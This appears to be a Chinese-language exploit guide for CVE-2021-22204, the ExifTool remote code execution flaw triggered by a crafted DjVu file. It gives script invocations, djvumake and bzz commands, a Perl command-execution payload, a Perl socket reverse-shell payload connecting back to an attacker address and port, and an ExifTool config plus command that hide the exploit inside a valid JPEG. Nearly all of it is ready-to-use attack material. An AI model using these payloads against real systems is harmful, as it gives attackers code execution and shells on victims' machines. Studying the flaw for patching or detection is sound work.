
CVE-2021-22204 的利用脚本,通过恶意 DjVu 文件实现 ExifTool 远程代码执行(RCE),包含手动利用步骤和反弹 Shell 载荷。
在 ExifTool 7.44 及以上版本中,DjVu 文件格式对用户数据的中和不当,使得解析恶意图片时可执行任意代码。

系统命令:
bash CVE-2021-2204.sh "system('id')" happy.jpg
反弹 shell
bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg
*你的 IP 和端口
$ sudo apt install djvulibre-bin
# 安装所需工具
$ bzz payload payload.bzz
# 压缩我们的 payload 文件,使其不可读
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = 格式为 'N,N',其中 N 为数字
# BGjp = 期望 JPEG 图像,但我们可使用 /dev/null 作为无背景图像
# ANTz = 将压缩后的注释块写入输入文件
Payload
(metadata "\c${system('id')};")
Payload(用于反弹 shell)
(metadata "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(9999,inet_aton('localhost')))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};#")
然后,当受害者使用易受攻击版本的 ExifTool 打开 exploit.djvu 文件时,我们嵌入的 Perl 代码将执行命令 id 。
%Image::ExifTool::UserDefined = (
# 所有 EXIF 标签都添加到 Main 表中,WriteGroup 用于
# 指定标签写入位置(若未指定,默认写入 ExifIFD):
'Image::ExifTool::Exif::Main' => {
# 示例 1. EXIF:NewEXIFTag
0xc51b => {
Name => 'HasselbladExif',
Writable => 'string',
WriteGroup => 'IFD0',
},
# 在此处添加更多自定义 EXIF 标签...
},
);
1; #end%
此文件的作用是允许我们在文件中写入一个新标签,名称为 HasselbladExif,标识字节为 0xc51b,然后将其插入到我们新文件中。 [8]接着,利用该文件以及我们已制作好的 exploit.djvu,将恶意 DjVu 文件插入到一个有效的 JPEG 文件中。
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' hacker.jpg
configfile = 我们的配置文件名;
-HasselbladExif = 配置文件中指定的标签名;
exploit.djvu = 我们之前用 djvumake 制作好的利用文件;
hacker.jpg = 一个有效的 JPEG 文件;
致谢及帮助:https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/